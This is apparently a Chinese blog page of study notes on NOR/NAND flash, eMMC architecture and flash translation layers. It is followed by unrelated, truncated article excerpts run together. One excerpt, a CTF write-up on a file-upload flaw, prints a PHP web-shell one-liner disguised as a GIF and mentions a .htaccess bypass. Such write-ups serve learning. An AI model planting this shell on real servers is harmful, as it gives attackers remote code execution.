存储器芯片发展历史上,
有sram, ddr等内存产品
有nor flash, nand flash等非易失性存储介质。
nor flash相对容量较小, 但可随机存取, 故可片上运行。之前2009年左右做过一些mtk6223 功能手机采用的就nor flash作为主存。
容量可能也就64MB, 128MB左右。
nand flash容量较大, 但不能随机存取, 故只能作为存储, 无法片上运行。
速度方面
属性 | NOR | NAND |
读取速度 | 很快 | 快 |
写入速度 | 慢 | 快 |
擦除速度 | 很慢 | 快 |
可擦除次数 | 10,000 - 100,000 | 100,000 - 1000,000 |
nor, nand flash有个共同特点, 即写只能将1变成0, 不能将0变成1。
故写之前, 基本都要做擦除操作, 该擦除过程是个充电过程, 以扇区, Bank或整块flash为单位进行擦除。将擦除区域都变成0xFF。
mmc, sd, emmc
mmc 卡 全称Mutlimedia Card即多媒体卡 是1997年由SanDisk和Siemens发明的, 基于Nand Flash。
sd 卡全称SecureDigital Card, 1999年发明, 相比mmc卡多些其他功能, 如安全方面。
emmc 即embedded mmc, 是一种统一的封装, 即将Nand Flash统一加上emmc接口芯片, 封装为emmc存储介质。
这样数据的读写等操作就统一了。 不像以前每一个品牌的Nand Flash都需要特定的驱动。
mmc 三个层次,
MMC interface, 即mmc标准的接口, 和主机进行通信。
FTL (Flash Translation Layer)
Storage Area (Nand颗粒, 有SLC, MLC, TLC等类型等)
其中, FLT is a small controller running a firmware.its main purpose is to transform logical sector addressing into Nand addressing. 即扇区地址转换为Nand地址。
另外, 它还完成以下三个工作:
* Wear-leveling (磨损均衡技术 - 即保证擦除的块比较平均, 延长Nand寿命)
* Bad block management (坏块管理, Nand Flash天生就会有一定坏块概率, 故需要管理)
* Garbage Collection
非易失存储介质一般分为两种类型:
1. Block Devices, 块设备, 如磁盘, 是以扇区方式寻址。只有读、写操作。
2. Memory Technology Devices: 内存技术设备, 如nor, nand flash设备。 以sector / subpage / page等方式寻址。相比磁盘, 除了读写, 多一个擦除操作。其他就每页后面都有对应的ecc校验码。 保证1~3位以内的位翻转问题可以自己解决。此外肯定有相应地方存储着坏块表。
文件系统,
emmc存储介质通常使用的文件系统有:
fat, ext4,
其他日志系统如, jffs2, yaffs2, ubifs等。
关于文件系统, 后续再研究。
仅供自己记录学习,无它用,欢迎指导!mybatis在使用代理dao的方式实现增删改查时做什么事? 两件事: 第一:创建代理对象 第二:在代理对象中调用selectList自定义Mybatis的分析-创建代理对象的分析自定义mybatis的编码–根据测试类中缺少的创建接口和类自定义mybatis能通过入门案例看到类 class Resources class SqlSes...
8-3笔试题题目描述:分析:代码:注意事项:题目描述:小明有n个朋友,每个朋友有一定数量的钱去买房子,每个房子有舒适度和价格。要求:1、一个人最多买一个房子。2、每个房子只能被一个人买。3、钱数必须大于房子价格。问:如何买房子,使得舒适度之和最大。输入要求:第一行输入朋友个数与房子个数第二行依次输入每个人有多少钱,输入n次第三行依次输入每个房子对应的舒适度与价钱输出要求:输出舒适度的最大值示例:输入:5 65 3 2 10 79 89 37 64 71 78 1
1 <html> 2 <head> 3 <title>Angular JS Controller</title> 4 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> 5 <...
1、传感器的定义和组成其主要特征是能将感知和检测某一形态的信息,并将其转换为另一形态的信息。因此,传感器是指那些对被测对象的某一确定信息具有感受(或响应)与检出功能,并使之按照一定规律转换成与之对应的有用输出信号的元器件或装置。2、静态模型静态模型是指在静态信号情况下,描述传感器输出与输入量间的一种函数关系。若果不考虑蠕动效应和迟滞效应,传感器的静态模型一般可以用多项式来表示。3、动态模型...
问题描述:使用spi的TF卡模块,卡为京东联名的32g的HC卡,使用核心板外接模块,发现前面的初始和卡的检验可以通过,但读取不到扇区数,也不能读取扇区0,读取会卡死。核对了软硬件都毫无头绪,同样的代码在另一块407的带sd卡槽的板子上是读写没问题的。解决:由于使用的核心板和拓展模块,所以之间使用了不短的杜邦线,所以我怀疑是干扰,而且显然前面400k以下的速率设置和校验是没问题的,所以我怀疑是后面的高速模式才有问题。本着频率越低,越能抗干扰的朴素科学观。修改<400k初始化化之后切换为高速模式,如
原文地址::STM32F407ZGT6使用SDIO方式驱动SD卡 - JavaShuo本文主要讲解的是移植官方固件库(V1.5.1)中是SDIO来驱动SD卡。SDIO接口是在SD内存卡接口的基础上发展起来的接口,SDIO接口兼容以前的SD内存卡,并且可以连接SDIO接口的设备。SDIO1.0标准定义了两种类型的SDIO卡:SDIO协议是由SD卡的协议演化升级而来的,很多地方保留了SD卡的读写协议,同时SDIO协议又在SD卡协议之上添加了CMD52和CMD53命令。由于这个,SDIO和SD卡规范间的一个重要区
Spring Cloud 是一套完整的微服务解决方案,基于 Spring Boot 框架,准确的说,它不是一个框架,而是一个大的容器,它将市面上较好的微服务框架集成进来,从而简化了开发者的代码量。Spring Cloud 是什么?Spring Cloud 是一系列框架的有序集合,它利用 Spring Boot 的开发便利性简化了分布式系统的开发,比如服务发现、服务网关、服务路由、...
考点:.htaccess文件,抓包修改content-type文件上传漏洞1.如题:传统上传文件题目,试了试常规的几个类型,php,phtml,php3,txt,png都不行,最后上传成功了png格式的,上传我之前写好的图片马,一句话木马内容如下:GIF89a?<script language="php">@eval($_POST[dd]);</script>2.因为上传的是图片格式的,要将该文件变成php文件的进行上传,就需要上传.htacces
一 序上一篇介绍了《事务隔离》,本文继续整理MVCC实现原理。二 锁读锁:也叫共享锁、S锁,若事务T对数据对象A加上S锁,则事务T可以读A但不能修改A,其他事务只能再对A加S锁,而不能加X锁,直到T释放A上的S 锁。这保证了其他事务可以读A,但在T释放A上的S锁之前不能对A做任何修改。写锁:又称排他锁、X锁。若事务T对数据对象A加上X锁,事务T可以读A也可以修改A,其他事务不能再对A加任何锁,直到...
STM32的SD卡与SDIO接口
SD初始化-> SD擦除数据->SD写数据->SD读数据-> SD读写数据比较。1. sd初始化BSP_SD_Init(); 1.1BSP_SD_MspInit CLK,引脚,DMA初始化 1.2HAL_SD_Init 1.2.1SDIO_Init SD功能初...
设计工具Figma封禁了大疆,但是API管理工具eolink的流量却上涨了十倍?这么神奇?原来大家担心postman也会封禁中国用户。今天,我们就来看看这款低调但实力强大的API管理神器,...